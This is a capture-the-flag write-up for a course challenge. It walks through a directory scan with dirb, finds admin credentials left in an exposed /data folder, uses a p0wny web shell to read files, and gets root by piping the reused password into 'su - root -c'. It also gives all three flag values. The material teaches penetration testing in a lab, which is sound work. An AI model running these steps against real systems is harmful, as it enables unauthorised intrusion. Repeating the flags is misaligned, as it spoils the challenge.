• Challenge Overview
• Getting started
• Hints
  • Flag 1
  • Flag 2
  • Flag 3
• Solution
  • Flag 1
  • Flag 2
  • Flag 3
• More Studies
  • Reverse Shell scripts
  • Brute force tools

This CTF Challenge was created as part of the Project Management course. It contains 3 flags and it is all about getting access one step at a time!

This challenge can be difficult for a student, so don't worry if you can't get it done. Also, don't forget to check the hints if you are struggling at some point.

First, download the challenge container.

docker pull ghcr.io/dbh201/challenge4:latest

Now, launch the container.

docker run -p 4443:4443 ghcr.io/dbh201/challenge4:latest

Access the website https://localhost:4443 and good luck!

At some point, you will use a reverse shell script in this challenge. If you are not familiar with them, we recommend one as a hint, so don't worry about it.

Also, Kali is not mandatory but recommended, since it has plenty of pre-installed tools that could be useful for this and other challenges.

Can you get all 3 flags? Let's start by navigating to pages you are not supposed to see. Wonder what kind of information you can find in there

How much can you do with your new admin account? There must be some way to control the forum.

Now it's time to escalate... You need to become root using your p0wny shell, but you can't seem to type in your password...

Since we are supposed to look for pages that should be unacessible, we could try a few common names such as "/admin". However, some tools can do this job for us.

Dirb is a fantastic tool for that, and it is already installed in Kali. We can simply run it on our server (make sure you change the IP to match yours).

┌──(kali㉿kali)-[~]
└─$ dirb https://192.168.0.5:4443

...hidden output

---- Scanning URL: https://192.168.0.5:4443/ ---- 
    ==> DIRECTORY: https://192.168.0.5:4443/adm/
    ==> DIRECTORY: https://192.168.0.5:4443/data/
    ==> DIRECTORY: https://192.168.0.5:4443/images/
    + https://192.168.0.5:4443/index.php (CODE:200|SIZE:17810)   

...hidden output

After checking some of the results, we will eventually find the /data directory, that contains some interest files such as "flag1.txt".

    flag1: Pr0Jmngmnt15c00l
User: admin
Password: thispasswordishuge!

You got the flag! What a place for a password to be, right? :P
How much can you do with your new admin account? There must be some way to control the forum. 

https://192.168.0.5:4443/shell.php

cd
ls
cat flag2.txt

    flag2: BforBodyNotBook-ofKnowledge
You got the flag! Now it's time to escalate...

You need to become root using your p0wny shell, but you can't seem to type in your password...

www-data@fc1b13fe1365:/var/www# sudo ls /root
sh: 1: sudo: not found

www-data@fc1b13fe1365:/var/www# su 
Password: su: Authentication failure

www-data@fc1b13fe1365:/var/www# echo "thispasswordishuge!" | su - root
Password:
www-data@fc1b13fe1365:/var/www#

www-data@fc1b13fe1365:/var/www# echo "thispasswordishuge!" | su - root -c "ls"
Password: flag3.txt

www-data@fc1b13fe1365:/var/www# echo "thispasswordishuge!" | su - root -c "ls; cat flag3.txt"
Password: flag3.txt
flag3: plzM477letU5pass

You got the last flag! Wasn't that easy?